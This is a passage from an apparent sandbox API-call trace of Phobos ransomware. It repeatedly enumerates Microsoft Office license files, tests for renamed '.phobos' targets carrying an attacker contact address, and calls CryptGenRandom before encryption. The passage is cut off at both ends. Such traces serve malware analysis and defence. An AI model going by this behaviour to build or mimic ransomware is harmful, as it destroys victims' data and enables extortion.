pbBuffer=0x3fdfba8) returned 1 [0153.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.054] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11644) returned 1 [0153.054] CloseHandle (hObject=0x564) returned 1 [0153.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.054] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.055] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10679) returned 1 [0153.055] CloseHandle (hObject=0x564) returned 1 [0153.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.055] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.056] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22961) returned 1 [0153.056] CloseHandle (hObject=0x564) returned 1 [0153.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.056] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.057] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11637) returned 1 [0153.057] CloseHandle (hObject=0x564) returned 1 [0153.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.057] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.057] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19982) returned 1 [0153.057] CloseHandle (hObject=0x564) returned 1 [0153.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.059] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.060] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23072) returned 1 [0153.060] CloseHandle (hObject=0x564) returned 1 [0153.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms")) returned 0x220 [0153.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.060] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.060] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11624) returned 1 [0153.060] CloseHandle (hObject=0x564) returned 1 [0153.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.061] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.061] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10663) returned 1 [0153.061] CloseHandle (hObject=0x564) returned 1 [0153.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.062] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.062] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23077) returned 1 [0153.062] CloseHandle (hObject=0x564) returned 1 [0153.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.063] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.063] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11617) returned 1 [0153.063] CloseHandle (hObject=0x564) returned 1 [0153.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.063] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.064] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19962) returned 1 [0153.064] CloseHandle (hObject=0x564) returned 1 [0153.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.064] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.065] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10655) returned 1 [0153.065] CloseHandle (hObject=0x564) returned 1 [0153.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms")) returned 0x220 [0153.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.065] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.066] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23075) returned 1 [0153.066] CloseHandle (hObject=0x564) returned 1 [0153.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms")) returned 0x220 [0153.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.066] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.067] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11609) returned 1 [0153.067] CloseHandle (hObject=0x564) returned 1 [0153.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.067] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.068] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19954) returned 1 [0153.068] CloseHandle (hObject=0x564) returned 1 [0153.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.068] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.069] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: 